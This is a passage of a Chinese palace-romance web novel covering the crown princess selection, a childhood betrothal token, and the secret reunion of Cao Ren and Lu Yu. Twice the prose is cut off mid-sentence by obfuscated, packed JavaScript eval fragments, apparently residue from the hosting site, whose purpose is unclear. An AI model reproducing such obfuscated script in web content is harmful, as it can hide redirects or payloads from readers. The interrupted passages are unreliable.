退朝后,曹启皇帝看着名单,问曹壬“这几人里,有没有想娶的。” 曹壬看都没看,只回“父皇觉得谁合适,圈出来就行。” 曹启皇帝听了,气道:“娶妻的是你,何故推给朕?” 说着,看到谢知鱼的名字还在,他不悦道:“谢洐真会躲清闲,朕都被吵了这么多天,他倒好,上报个名字后连脸都不露一下。” “想来忠义侯是真的来不了,陈年旧疾复发的痛苦我很能体会,他舍不得离开女儿也是情有可原”曹壬看着谢知鱼的名字淡然回。 “谢知鱼这样的,就算定了也未必有命进东宫,你先考虑其余几个吧”曹启皇帝道。 “所以,父皇不想等忠义侯回来,现下就她的名字去掉?”曹壬问。 曹启皇帝就是个拧巴的性子,既不想看到这个名字,又担心若真把谢知鱼的名字去掉,届时谢洐去太后那里闹,太后肯定会难过,还和自己离了心,一哭二闹的事谢洐在太后那里经常干。 他不耐烦地回:“留着吧,反正也不一定选得上。” 顿了一下,他问:“郑氏和陆氏,你有没有什么想法?” 郑荃是前太子太傅,丁忧后一直闲赋在家,曹壬被册封后,他又再次被任命为太子太傅,名单里就有他的孙女,而陆氏报上来的是陆婠。 曹启皇帝特意指出陆婠,曹壬如何不知道他在试探,试探自己对阿萸有没有余情未了?还是试探自己有没有全然相信陆氏?或许二者皆有。 他其实很烦皇帝这种前后矛盾的心态,明明想找个有兵权的太子妃巩固皇权,又担心外戚如现在的杨氏这般做大而无法掌控,做人哪能如此贪心? 他略作思考后,平静地回:“郑氏女年龄太小,陆氏女许过南安王世子,在我看来二人皆不适合。” “北境已传来捷报,陆烈很快就要班师回朝,陆婠就算没有被选为太子妃,想来婚事也不会太差”曹启皇帝道。 曹壬点点头,“这般优秀的女郎,我这样残破的躯体确实配不上。” 曹启皇帝闻言,再次气急,“别整天和我提你生病的事。” “儿臣下次不提了”曹壬乖觉地回。 有一种拳头打在棉花上的无力感,让曹启皇帝没心情继续和曹壬聊下去,既然父子俩商量不出来,那就再拿去朝堂上让那些朝臣讨论吧。 曹壬离开太极宫的时候,天上飘起了濛濛细雨。 八喜忙拿出伞替曹壬撑起,然后亦步亦趋的跟在他身旁。 站在廊下,看着一眼望不到头向宫外延伸的台阶,曹壬突然问:“你说,就这样的地方,那些争着进来的人,都是真心的吗?” 八喜听太子主动和自己说话,正要高兴,待听完内容后,又只能心惊胆颤地看着太子,因一时不知该如何回话而吓得连脸都白了。 曹壬见状,伸手拿过八喜手中的伞,轻笑道:“待你想到该如何回答以后,再跟上我。” 八喜是庆平的徒弟,虽然一直尽心伺候曹壬,可曹壬还是能从八喜身上看到庆平的影子。 他是太子,是未来的帝王,他不希望自己的内侍有别人的影子。 就如同他不会在自己身上留有曹启皇帝的影子,他愿意入主东宫,是因为想完成阿萸未实现的理想,他可以为此放弃自由甚至放弃生命,但他做不到娶一堆不喜欢的女子。 虽然这样的想法或许有些幼稚甚至不现实,可他不想靠太子妃背后的世家壮大自己,更不想像曹启皇帝一样时时防备结发妻子。 如此一想,那个与他一样常年卧病在床的谢知鱼,反而很适合自己,这难道是谢九叔把名字报上来的原因吗? 至东宫后,徐医仙又给曹壬端来了新熬制好的汤药。 八喜见太子毫不犹豫一口饮尽,心疼道:“不知这药还要喝多久,殿下快成药人了。” 曹壬拿过宫女递来的手帕轻轻擦拭唇角后,淡然出声:“方才留给你的问题你想好了吗?” 八喜“噗通”一声跪在地上,忙回:“殿下想听什么,奴婢就答什么。” 曹壬听后,摇摇头:“我最后再给你一次机会,你慢慢想,顺便想想这药我该吃到何时,全都想清楚了再回复我。” 徐医仙是被曹壬找回来的,聪慧如他,皈依白马寺刚满半年,他就已经对折磨自己十多年的旧疾起疑,只是那时他身在佛门,并不想继续执着陈年旧事。 徐医仙刚入东宫,曹壬就把陆萸送的太阳子菩提手串递给他看。 仔细翻看后,他立马脸色惨白地跪在地上,虽已极力克制着,曹壬依然能从他身上看到到恐惧,对死亡的恐惧。 心中猜想得到证实,曹壬没有再问当年的真相,只是冷冷地看着他,“孤最后再给你一次机会,望你这次能好好把握。” 自那天起,太子旧疾复发了,当初活不过二十的曹壬,变成了也许活不过三十岁的太子。 谢洐是在名单上只剩下五个名字的时出现在太极殿东堂的,萧嘉卉和他回了洛阳,而谢知鱼被送去了谢氏在彭城郡的温泉别院养病。 谢洐并没有像其他朝臣那样使劲的夸自家的女郎有多优秀,而是一上来就哭诉做父亲有多不容易,养个女儿有多费心费神,特别是养个以药养命的女儿有多令他寝食难安。 朝臣听过他的哭诉后,忍不住道:“既然如此费心费力,忠义侯为何还想把令嫒送入东宫,这岂不是把责任推卸给皇家吗?” 谢洐听后,假装擦拭了一下并不存在的眼泪,深情款款地看着曹壬,“因为犬女自上次对太子殿下惊鸿一瞥后,恋上了太子殿下,每日茶饭不思夜不能寐,所思所想皆是与太子殿下共度余生。” 如此没脸没皮的话甫一出口,刚刚提问的朝臣一时间不知该作何表情,坐在龙案前正在饮茶的曹启皇帝甚至忍不住将口中的茶汤喷了出来。 向来淡定自若的曹壬也难得在朝臣面前显露出一丝不自在,回:“忠义侯想必弄错了,我并未见过令嫒。” “错不了,绝对错不了,就是那次臣大婚,殿下随臣游览寒舍时犬女见过殿下,自此以后,犬女就得了相思病,直至今日都未痊愈,殿下能否可怜天下父母心,选犬女为太子妃?” 说着,谢洐又拿出帕子,假装擦了擦眼角的眼泪。 之前被怼的朝臣还没回过神来,最先插话的是杨宪,“忠义侯此言差矣,令嫒既然病了,就该尽快就医才是,如何能在此为难殿下?” 这时有一朝臣附和:“太子妃当身强体健才能诞下皇嗣,忠义侯也太过儿戏了。” 话音刚落,杨宪心道一声糟了,就听到谢洐指着那个朝臣骂:“犬女只是害相思病,又非不孕之症,难道如杨氏女那般未婚先孕才配做太子妃?” 一时间,堂中众人既想笑又迫于杨氏的压力,只能苦苦忍着,脸上表情异彩纷呈,反正幽州牧杨章的女儿被谢洐这么一问,是注定入选不了太子妃了。 这时有人提出郑氏女出生书香世家,德才皆备,素有才名在外,堪为太子妃。 谢洐回:“太子妃是和太子一起过日子的,如果只追求才名,不如直接娶了太子太傅。” 又有人提琅琊王氏女和太子殿下自幼相识,若是入主东宫定能琴瑟和鸣,传一段佳话。 谢洐立马回:“王氏女年方十三,若我没记错,殿下五岁就已回南安国,她是如何与殿下自幼相识的?且她与殿下相差整整一纪,你就不怕殿下被人说老牛吃嫩草吗?” “噗嗤”曹启皇帝再次忍不住笑出声来,忙低头掩饰过后,抬头笑道:“想必忠义侯也说累了,先喝口茶。” 那个朝臣被怼得晕过去了,因为他刚刚纳了一个十三岁的小妾。 一时间,堂中朝臣纷纷低下了头,敢情之前大家在这里苦苦争论太子妃人选时,忠义侯是去找人调查各府的私事去了? 谁家还没有点不足与外人说道的阴私,若真被忠义侯盯上,岂不是要在众目睽睽之下被扒得精光? 谢洐一点都不觉得累,接过皇帝赏赐的茶汤一饮而尽后,斗志昂扬的看着众朝臣。 见没人敢再开口,他又转头看着曹壬,“殿下,臣所言句句属实,犬女真是爱极殿下,若入不了东宫她肯定熬不过今夏的。” 说着,他再次拿出手帕擦擦眼角,看得朝臣们真想冲上去打他一顿。 曹壬不知谢洐今日唱的哪一出,只是见之前叽叽喳喳吵了好几天的朝臣终于安静下来,打心底佩服他这样的战斗力。 于是出言安慰:“忠义侯先别急,我宫中有徐医仙,可让他替令嫒诊治。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是朝臣第一次见太子殿下生气,他甚至没有在脸上显露出丝毫气愤恼怒的表情,但只这么轻飘飘的一句话,就让大家瞬间觉得空气都冷了下来。 立在陆恭身旁的谢洐看到他被太子问得瞬间冷了脸,终于理解陆萸为何非要亲自跑一趟建业,她对陆氏太了解,知道曹壬早晚会面对陆氏的逼婚。 北境大捷,陆烈正班师回朝中,陆氏如今水涨船高,别说是毫无根基的太子殿下,就是曹启皇帝也要忍让三分。 曹启皇帝果真笑着打断了,“定北侯别在意,世子善有眼无珠,陆氏女是大魏双殊之一,太子自觉身体抱恙配不上她,才口无遮拦了。” 曹壬没有承认也没有否认,只是平静的看着陆恭,那样冷漠的眼神让人不敢继续直视。 陆恭忍了又忍,最终向太子拱手行礼:“殿下龙章凤姿何须妄自菲薄,您与侄女知根知底,合该考虑一下的。” 陆氏服软了,却没有要退让的意思,众朝臣在等着看谢洐如何回怼定北侯,毕竟陆氏和南安王府有婚约是真,陆氏女与太子相识也是真,谢九郎和陆九郎多年情谊,难道要在今日破裂吗?他们已经暗戳戳的期待起来。 不过,他们没有等到二人吵起来,因为南安王太后突然请求上殿。 南安王太后自建业赶来洛阳,急匆匆打断朝议,只为太子选妃一事。 她一入殿,曹启皇帝立马给她赐了座,然后道:“您何须亲自跑一趟,让人传个话即可。” 南安王太后崔氏谢过恩后,抬头看着曹壬,慈爱一笑,“老身再不来,太子殿下恐要错过一段上好姻缘。” 曹壬在见到祖母上殿时,脑海中想起那些与她一起在袅袅檀烟中礼佛的时光,她那时候也是这样笑看着自己。 只是,她是如何笑着把徐医仙送来给他,又是如何笑着看他喝下那么多药的呢? 上好姻缘吗?这次,她又为了南安王府,向哪个世家妥协了呢? 他没有表现出多热情,甚至都没有起身,只坐在皇帝左手下方,平静地看着她,“不知祖母说的是何姻缘?” 曹启皇帝对南安王太后突然至洛阳的原因一无所知,这种被算计的心情不好受,不过他来不及生气,反而因曹壬在乍然见到久别的祖母时情绪太过冷静,而开始好奇接下来的发展。 看来,传言都做不得真,祖孙情深都是假的。 南安王太后径自拿出一根白玉簪后,看着谢洐问,“想来另一个信物在忠义侯手上吧?” 问完,她向在场的人解释,当年老南安王给世子善定亲后,认为兄弟俩应该一碗水端平,所以给曹壬和谢知鱼也定了婚约,之所以后来不再提起,是因为谢知鱼常年卧病在床,而曹壬入了佛门,此事就作罢了。 竟然是谢氏?!曹启皇帝震惊过后,眼神犀利地看向谢洐,“你既有信物,为何不早早拿出来?” 因为从未如今日这般被人耍得团团转过,他的语气隐隐含有怒气。 杨宪也忙道:“忠义侯该不会是丢了信物,所以不敢提当年婚约吧?” 谢洐无惧帝王的眼神,更不在乎杨宪的嘲讽,从左手袖袋中掏出一根碧玉簪,递给南安王太后,“王太后所言是这个吧?当年我和老王爷交换的信物。” “正是此物,谢氏女郎既已到论亲的年龄,殿下合该履行当年之约。” 庆平立马让人取来托盘,将两府的信物整齐摆放在盘中,然后端给皇帝看过后,再端给太子看。 曹壬自看到谢洐掏出那根熟悉的玉簪时,整个人都愣住了,那是阿萸的簪子,是当年祖母亲手送给青团小友的见面礼。 两根玉簪的成色和材质是一样的,不过一根雕刻的是玉兰花,另一根是竹叶,看得出是男女款。 看到熟悉的物件安静地躺在托盘中,他颤抖着手拿起那根玉兰簪,然后道“既然祖母觉得我该履行婚约,那便履行吧。” “太子慎言”曹启皇帝厉声出言打断。 有朝臣立马附和:“忠义侯有信物却迟迟没有拿出来,想来也不是很在意当年的约定。” 谢洐闻言,立马回怼:“我已再三言明犬女真心爱慕殿下,又怎会学他人用婚约逼迫于殿下?” 此言一出,堂中又开始争论起来,特别是杨宪,若是输给陆氏女,他还可以接受,但输给胡搅蛮缠的谢洐,输给那个还不知能活多久的谢氏女,他真是咽不下这口气。 曹启皇帝出言道:“太子可履行婚约,但谢氏女身体羸弱,太子合该再选一良娣。” 谢洐一听这话就不乐意,刚要回话,却被曹壬抢了先,“佛家云救人一命胜造七级浮屠,既已定谢氏女为太子妃,为让她早些康复,儿臣不打算纳良娣进东宫。” 朝堂上一时炸开锅,为了履行先辈的约定而娶个病秧子,太子殿下也太委屈了吧!且听过忠义侯那些没脸没皮的言论,大家一致觉得这个太子妃也不是个靠谱的。 哪有你看上谁,谁就得娶你的道理? 只是,当册封太子妃的旨意被送去忠义侯府的时候,那些世家又开始后悔了,他们早些时候怎么没有想到用这种方法争取太子妃之位呢? 85. 第八十五章 良辰夜 庆平去传旨的时候原打算看看那个痴心一片的未来太子妃长何模样,奈何接旨的是忠义侯夫妇,谢氏女还在邺城温泉别院养病。 按理来说,若真如忠义侯在朝堂上说的那样,谢氏女对太子殿下害了相思病,如此重要的时刻肯定恨不得长翅膀飞回来才是,看来,传言都是做不得真的。 曹启皇帝知道后郁郁的心情稍微好受了一些,最近连连发生不受他掌控的事,他已经气得睡不好觉了。 虽然谢氏女压根不在他考虑的范围内,但太子当着朝臣的面应下了婚约,他也只能捏着鼻子替太子下旨。 好在谢氏如今在朝堂的地位一般,后生良莠不齐,也无需担心多年后外戚做大。 陆弘是几天后才从别人口中知道那日太子妃之争的细节,想到太子殿下最终不得不娶一个病秧子,他也和那些太子的支持者一样,替太子不值。 可是,这一切的推手也有陆氏,若没有九叔陆恭咄咄相逼,太子也许不会接下那一份不知真假的婚约。 在东宫前殿,陆弘一脸愧疚地对曹壬说出了自己的想法,家中长辈的决定他觉能不妥却无力阻拦,但他的歉意是诚心实意的。 曹壬听后,反而笑着安慰他:“结亲,结的是两姓之好,忠义侯与我是多年旧识,想来他的女儿除了身体差些,其他都不会太差,难说真如祖母所说,是一份大好姻缘。” 陆弘还想再说,他摆摆手道:“这事已成定局,日后莫要再提,待太子妃入主东宫,我希望你们待她能如待我这般。” 曹壬的话甫一出口,八喜和陆弘皆震惊了,那个素未谋面的太子妃竟然已得殿下这般看重了吗?或许是因为谢氏女常年卧病在床,让殿下想起了自己的旧疾? 想到殿下是被迫还俗的,二人不约而同的觉得殿下真是菩萨心肠,一心想着救人一命。 总之,被谢洐在朝臣面前这么一争,谢氏女从病美人,成了不知矜持不识大体,只知痴心妄想的病秧子了。 那些偷偷爱慕太子殿下却没能入选的女郎出于嫉妒,开始把谢知鱼编排成丑八怪,证据就是她在洛阳那段时间天天头戴帷帽,肯定是长得太丑,怕别人看见。 下旨几天后的夜里,曹壬在行云殿书房看书,一旁的八喜几次欲言又止。 曹壬笑道:“想说什么就说。” 不知是不是八喜的错觉,自那次太子妃之争过后,太子脸上多了笑容,虽然只是微不可察的笑,八喜也能感觉到太子殿下心情很好,于是壮着胆子把外面的传言都说给曹壬听。 “谣言止于智者,你无需在意”曹壬埋头边翻书边回。 “奴婢,奴婢也是担心谢氏女真如传言那般,那殿下岂不是太委屈了?” 闻言,曹壬从案间抬头看着八喜,“我那日与奉卿说的话,你忘了?别人怎么传是别人的事,东宫若有人传,即刻清理。” 八喜从未听过曹壬说这样的狠话,一时吓得“噗通”一声跪在地上,“奴婢日后不会再提,也会约束好东宫其他人。” 曹壬听后不置一词,只一脸冷漠地看着八喜。 八喜想到最近发生的事,忙接说:“殿下之前让奴婢想的问题,奴婢已经知道怎么答,殿下想听的是真话,而非奉承之语,奴婢日后对殿下绝无隐瞒,只盼殿下别嫌奴婢愚笨。” “是吗?那你说说,那年你去建业传旨时,庆平给你安排了什么任务?”曹壬抬起手腕,边转动手中珠串边漫不经心地问。 八喜这些日子也想通殿下为何对自己很冷淡,于是忙将当年的细节毫无遗漏地告诉了曹壬。 当初庆平确实给八喜一颗药,让他在陆萸受鞭刑的第四天喂下去,谁曾想第三天就出了变故,这事他没办好,回来后还被师傅责罚过。 想到殿下对陆氏女的在意,八喜还把当初的各种细节都告诉了曹壬,比如在华彩阁设灵堂和在覆舟山下葬的细节。 “那药,服用后可会有副作用?”曹壬问。 八喜正说得起劲,愣了一瞬,才回:“奴婢不知,奴婢只知道服药十二时辰之后会醒来,要赶紧把人挖出来。” 所以谢洐提前喂了药,然后把阿萸从覆舟山挖出来了?曹壬只这么一想,胸口就闷闷的疼,躺在棺材里那么久,她得多难受呀。 八喜见太子问完问题后只是低头看着手上的珠串,久久未置一词,眼中好似还有浓浓的悲伤,他小心翼翼地跪在地上,大气都不敢喘一下,这样的殿下比方才更让人有压力。 不知过了多久,曹壬平复了情绪,双眸也恢复了以往的平静无波,“我是被迫还俗的,比不得先太子有那么多人支持,你跟着我,受累了。” 八喜一听,瞬间热泪盈眶,忙道:“殿下折煞奴婢了,奴婢能跟着您是奴婢修了八辈子的福分。” 曹壬苦涩一笑,“你看,我连娶妻都做不了主,又何来的福分?可我需要成长,我希望你可以跟着我一起成长。” 八喜如今已经激动到泣不成声了,殿下不但不嫌弃他,还给他机会,这是多难得的机遇呀,这样好的主人又去哪里找。 “我希望,你只是东宫的八喜,只是我的内侍八喜,你明白我的意思吗?” 八喜忙擦了眼泪,向曹壬郑重一拜,“谢殿下不嫌奴婢愚笨,奴婢知道日后该怎么做了。” 曹壬看得出八喜不笨,不然也不会得庆平赏识,和聪明人说话就是轻松,与其让他整日战战兢兢地,然后老想着回去找庆平取经,倒不如一次性把问题说开了。 而八喜也不让他失望,自那次主仆二人交心后,他做事情更上心了。 当庆平问起殿下对娶谢氏女有何看法时,八喜是这样回复的:“殿下觉得娶谁都是娶,反正东宫房间多的是,难说真能冲喜把她的病给治好了,那也算是功德一件。” 曹启皇帝听完这番话后,心情又好了一些,看来太子并没有和谢洐串通一气,而且还很豁达,若真做成一件功德,自己还能沾点光,母后肯定也开心。 太子和太子妃的婚期定在十月,至今还有五个多月,如今最要紧的是要派人代皇帝去参加清河王世子的婚礼。 清河王五公子和萧氏六娘定亲后,今年初被立为世子,两府六月份的婚礼就备受瞩目。 这次曹壬主动请求代皇帝去送贺礼,理由是:他和清河王世子有些交情,且他打算参加婚礼顺路去魏郡邺城看看,邺城曾是大魏的都城,后来一直是军事重镇,曹壬作为储君应该对这样的地方有所了解。 如今镇守邺城的是惠安公主的驸马王韶,他出自太原王氏,而太子舍人王源正是驸马的同族侄儿。 难得曹壬第一次对政事如此上心,曹启皇帝很高兴,立马让人准备贺礼去了。 临行前,曹启再三交待曹壬邺城是守卫洛阳都城的重要防线,他需要多多了解,哪怕在邺城小住一段时间也可以。 虽然外面传言谢知鱼自年初一直在邺城郊外的温泉别院养病,可实际上她跑了一趟建业,如今回来才几天而已,听到赐婚旨意已下,她吊着的心才终于松了口气。 入四月后,邺城的雨水越来越多,今日又是阴雨天,没办法去庄子外田间地头溜达,她百无聊赖地缩在房里和灼华一起研究中药配方的洗发膏。 她想好了,香皂是直接用在皮肤上了,她只能先做了自己用,而洗头膏不算直接接触皮肤,如今洗头用的都是各类皂角或者草药,若能研发出好用且方便携带的洗发膏,肯定能大卖。 陆萸和灼华研究了一下午,眼看雨势不但没有减小反而越来越大,还有些担心附近的村庄会不会遭受洪灾。 至夜里,屋外电闪雷鸣伴随着倾盆大雨,她躺下后心绪不宁,正辗转反侧间,别院的管家突然来报太子殿下和太子舍人遭遇大雨难以继续前行,故想在谢氏别院借宿一宿。 陆萸一听,瞌睡瞬间全没了,立马让管家把人迎进来,然后先安排太子和太子舍人泡汤泉,再准备些晚膳给他们。 女公子入住至今很少说话,第一次见她如此精神抖擞且有条不紊的安排他做事,一时间没回过神来。 被她再三催促下,他才赶紧下去准备了,心想外面的传言或许是真的,女公子真是为太子殿下害相思病了。 曹壬是故意让人转道途径谢氏别院的,自那日见过那根玉兰簪以后,他一直想要探寻真相,他没有去问谢洐,洛阳城盯着他的人太多,婚期虽已定下,但只要人还没娶进东宫,一点差错都不能出。 谁知天公作美,这样的大雨大家不得不稍作休息后再继续赶路。 管家热情地把太子一行人迎进别院后,还不忘替谢知鱼美言一番,“女公子听闻殿下来访,起身安排奴婢们用心伺候殿下休息。” 太子舍人王源对未来太子妃的印象很不好,只笑回:“为何不见女公子出来迎接呢?” 管家立马回:“女公子身体抱恙,安排完后再次歇下了,今日天色已晚,她明日一早会为殿下和舍人点茶赔罪。” 王源觉得谢氏女太没礼貌了,太子毕竟是储君且还是她的未来夫婿,她怎么能说睡就睡了呢? 曹壬笑道:“是我等贸然来访,叨扰女公子休养。” 管家向曹壬再三行礼致歉后带着他们泡汤泉去了。 王源原本还有些气不过,不过泡过热乎乎的汤泉,用过从未见过的浴皂后,忍不住和曹壬感叹起忠义侯真会享受生活。 先帝时期镇守邺城的是陈郡谢氏,所以谢氏多年前在这里置办了休养别院,别院的布局和汤屋的装饰无一不精,处处透出陈郡谢氏当年的辉煌。 二人泡了汤泉换好衣物后,被分配去了不同的院子,紧接着厨房准备的晚膳也送来了。 陆萸知道曹壬有过午不食的习惯,所以准备的晚膳没有荤菜,且数量很少,只是一小碗米饭和几碟素菜。 八喜看到有人送膳食来,刚要替曹壬拒绝,送饭的侍女却主动开口了。 青琼道:“女公子知道殿下的饮食习惯,所以准备的不多,不过这清炖玉兰片是用女公子初春挖的鲜笋制成的,殿下不妨尝一口。” 曹壬看着汤色清爽的玉兰片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹壬摇摇头:“我去看看有没有鲜笋可以挖,人太多不好。” 八喜听了有些哭笑不得,殿下这是对晚膳的玉兰片吃上瘾了?再次悄声道:“殿下快去快回,有事喊奴婢就行。” 说着,把手中的灯笼递给曹壬,曹壬却头也不回的走了。 他想追上去,又担心动静太大引来别人,毕竟太子殿下偷竹笋这种事,传出去不好听。 曹壬没心思管身后的八喜怎么想,一小会的功夫就彻底消失在茫茫夜色中。 他此刻只想快些见到陆萸,二人分别这么多年,既是生离又是死别,如今别说只是没有灯笼照明,就是天上下刀子,也阻止不了他的脚步。 夏日雨歇的夜晚很凉爽,不多时,月亮竟然悄悄从云朵中出来了,月光透过头顶的树梢将石子小路照得更加清晰。 转了几个小弯道,绕过一片茂盛的竹林,他见上方不远处亮着一盏昏黄的灯笼,提灯的女子着一套浅绿色纱裙,外披一件青色斗篷,安静地候着他。 她就这样出现在他眼前,如当年清溪河畔,让一直行走在阴冷冬日里的他遇到了温柔而坚定的光,她那娇弱的躯壳下,似乎永远藏着一股温和又坚韧的力量,永远能在前方为他点亮一盏灯,指引他前行的路。 陆萸自青琼去送晚膳,就一直在这条竹林深处的小路上等着,她一路上想了很多与曹壬相见时该以怎样的表情看着他。 当月光越来越明亮,当那颀长的身影出现在路的那头时,她却忘了之前想好的所有言语。 清辉月光流泻而下,将他的周身都浸染了一层光芒,他踏婉约月色而来,随着脚步越来越近,她仿佛看到他眸中闪烁的光芒倒映出自己的身影。 所有那些因一次次错过而藏在心底的委屈和遗憾在这一刻都得到了圆满,她笑意盈然地看着他,“君期,你终于来了。” 话音刚落,眼泪却猝不及防的落了下来。 曹壬的脚步终于停在她面前,当年的女孩长高了,也长开了,曾经软软糯糯的青团,如今已长成娇美的海棠花,在朦胧的夜色中美得似云端的仙子。 灯笼如梦似幻的光晕照着她的眉眼,看着她湿漉漉的眼睫和眸子,还有微微发红的鼻尖,他心底的寒冷瞬间融化成了水。 他用手指轻轻替她拭去面颊上的泪,“对不起,我来晚了,让你等了这么久。” 说着,他伸手将她揽入怀中,双手慢慢收紧,生怕这一刻松手了,就会让她再次消失在眼前。 陆萸将手中的灯笼松开,回抱住他,胸前还是熟悉的温暖,他身上檀香味也一如当年,她颤抖着声音回:“只要是你,等多久,我都愿意。” 灯笼在地上滚了一圈后彻底熄灭了,竹林再次进入静谧的黑暗中,很快只剩下如水的月色悉数倾泄在二人身上。 两个孤独的灵魂,在踏尽山水后,终于在皎洁的天光下,于这样的良辰夜紧紧相拥在一起。 86. 第八十六章 诉衷情 自陆萸出事后,曹壬曾无数次在梦中找寻她的身影,梦境中,她明明就站在不远处,伸手时却总是抓不住,甚至慢慢的连面容都开始变得模糊,那时他常常因恐惧而从梦中惊醒。 如今,他虽然怀抱着朝思暮想的人,却仍然觉得有些不够真实,特别是在这样朦胧的月色下,一切都和梦中的景象越来越相似。 他忍不住问,“阿萸,我可以看看你吗?” 陆萸明显感觉到他在恐惧,身体在微微颤抖,一阵心疼,她自他怀中仰起头看着他,对他粲然一笑“我是活的,如你此刻所见。” 闻言,他松开拥抱的手,掌心轻轻捧起她的脸,月亮银色柔和的光洒落在她仰起的面庞上,让原本白皙的容颜宛如一块上好的羊脂白玉,她双眸深情凝望着自己,瞳中清晰的倒影出自己的身影。 俯首间,他的手指小心翼翼的抚过她的眉梢、面颊,然后来到那如花绽放着的梨涡,长安城那夜,他就想这样抚摸这对梨涡,果真如想象中一样,小小的酒窝装满甜美。 指腹下传来柔嫩光滑的触感带着温热,她身上独有的清香阵阵扑鼻而来,这一刻他才真切的感受到她还活着,这份失而复得的喜悦让他差点落泪。 他红着眼眶,与她深情对视,“阿萸,上天待我真是不薄,我原以为要到很多年后才能遇到转世后的你。” “君期,我们以后要一起好好活下去,活很久很久”陆萸答。 “对不起,我没能力救下你,让你受了那么多苦”话音刚落,他的眼泪随之落下,滴在她的脸上。 湿热的泪珠让陆萸想起那次逃亡,这般滚烫让她心底一颤,她学着他伸手缓慢而轻柔的抚摸他的面庞,“君期,我们不是无能,只是太过稚嫩,所以你无需自责,我相信,总有一天,我们都能成长为苍天大树,庇护我们想要庇护的人。” 手指一寸寸扶过他温润的脸庞,她接着开口:“以前想这样摸摸你的脸,可那时怕亵渎了佛祖,没敢下手。” “你摸过的”曹壬嗓音低沉。 陆萸的手一顿,疑惑的看着他,只见他莞尔一笑,“那次饮酒,你说我是你的美人。” 自己的酒品竟然这么差?竟然调戏了穿袈裟的僧人?陆萸瞬间无地自容,因为心虚,看他的眼神也有些闪躲。 红霞爬上脸颊,让她看起来越发灵动,他的手捧着这份灵动,不让她回避,他用轻柔似水的嗓音说:“那夜,我很开心。” 听了这话,陆萸的脸更热了,莫不是除了摸脸,她还做了什么惊世骇俗的事?她一脸不可置信又羞愧地看着他。 谁知,他的手指轻轻扶过她红晕的脸颊,认真而专注的凝视着她,“你对我,做什么都可以。” 他的声音带着一种蛊惑,而他的手指仿佛带着某种魔力,每抚过一寸肌肤,指尖的柔软和温热就点燃一次心底悸动,让陆萸瞬间觉得口干舌燥。 她忍了又忍,才好不容易咽下口水,找回自己的声音,“君期,你这样,会让我忍不住想犯罪的。” 此时,她心里有个大胆的想法,若是在这里把他扑倒的话,不知道会不会吓到他,不过这里刚刚下过大雨,地上湿冷,还是算了吧?以后有的是机会。 曹壬见陆萸的视线转下了一旁的石子路面,然后好似做了一个艰难的抉择,那惋惜的小表情没能逃过他的眼,他终于忍不住轻笑出声:“阿萸当真可爱得紧。” 闻言,陆萸猛然回过神,恼羞成怒而轻轻挣开了他的手,扭头看着地上,“你竟然取笑我,懒得理你了。” 曹壬脸上依然挂着笑,伸手将她带入怀中,抬手轻轻抚摸她如贡缎般的头发,喟叹道:“忍不住想犯罪的其实是我,可我舍不得呀。” 再次回到他怀中,陆萸假装气恼的挣了一下,待听了他的话,她放弃挣扎,只用力吸取来自他身上的味道,熟悉的檀香味让人忍不住平静下来。 还俗后的他,言语也更大胆了,可她真的好喜欢这样的他,那些隐忍的爱意,终于在这一刻迎着风肆意生长,一如她让谢洐去朝堂上向他表白,她只想让全天下的人都知道,她心里只有他,心心念念都是他。 微风轻轻吹过一旁的竹林,竹叶发出“沙沙”声,竹枝摇晃间,残留在竹叶上的水珠纷纷落下,像下了一场小雨。 风再次吹过,曹壬迅速抱着陆萸转了个方向,将一旁吹过来的水滴用自己的后背悉数挡了下来。 见状,陆萸道:“我没有那么娇气的,你这样回去,他们得担心得睡不好觉了。” 曹壬笑回:“我是来偷竹笋的,湿了才正常。” “噗嗤”陆萸听了忍不住笑出声来,太子殿下这理由用得让人找不出错来,就是有点滑稽。 曹壬怕她冷,就这么一直抱着她,然后用轻缓的语气和她聊西安城外分别后的种种,不过那些穿梭于世家府邸的时光他没有细说,那段鲜血沾满武僧木棍的行程,他也只是一句话带过。 陆萸贪恋他怀抱的温暖,也贪恋他有节奏的心跳声,所以也没有松开手,就这么一直抱着他,和他大致说了被救后的种种。 “所以,杨琇莹到底有没怀孕?”陆萸忍不住问。 “没有,后宫有一种秘药,会让人暂时出现假孕现象,这种药可用来争宠,也可用来害人。” 曹壬未尽之言陆萸已猜到,前太子妃出自东宫,想来找这种药并不难。 在建业地牢的时候,杨蓁蓁来探望过陆萸,那时候她哭着向陆萸道歉,陆萸既没有对她指责抱怨,也没有原谅她,只是告诉她二人立场不同,以后各自安好即可,无需再见面。 在巨大的利益面前,亲姐妹尚且互相算计,更何况只是萍水相逢的朋友而已。 想到未来还有无尽的阴谋诡计在等着他们,曹壬问:“嫁入东宫,阿萸不怕吗?” 如果他一开始就知道谢知鱼是陆萸,或许不会应下这门亲,没有他,她也可以活得很好,他如何忍心折断她的羽翼,将她困在吃人的皇宫里。 陆萸摇摇头,“那里有你,我就不怕,我事先说好了,你可千万别想着送我出宫。” “没,没有的事”曹壬立马回,她可真是敏感,明明自己只是偷偷想了一下而已。 “你撒谎”陆萸退出他的怀抱,目光直视他的双眼,“我让九叔在朝堂上说的都是真的,若不能嫁给太子殿下,我肯定活不过今夏。” 曹壬一听这话,忙道:“不要说这种晦气的话,我不送你出宫就是。” “也不纳良娣进东宫?” “不纳良娣,就你一人,我都活不到三十了哪里还有精力找别人?” 陆萸听了,满意的点点头,“日后他们让你充盈后宫,你就这么说。” 曹壬立马牵过她的手,郑重道:“我们好不容易才走到现在,哪里舍得把时间浪费在别人身上。” 说到他活不过三十这个传言,陆萸心里又难受起来,想来他也猜到了祖母的欺骗,才会重新去找徐医仙。这次她去建业,原本想打感情牌的,可惜最后还是用当年的佛珠手串和药瓶才管用。 南安王太后怕曹壬知道真相后报复南安王府,所以愿意配合谢氏演一出定娃娃亲的戏。 可这样,陆萸反而更心疼曹壬了,南安王太后从始至终都只考虑南安王府,心里没有一点点对曹壬的怜惜,这样的人竟然是常年吃斋念佛的人,她还想把曹壬一辈子困在佛堂内。 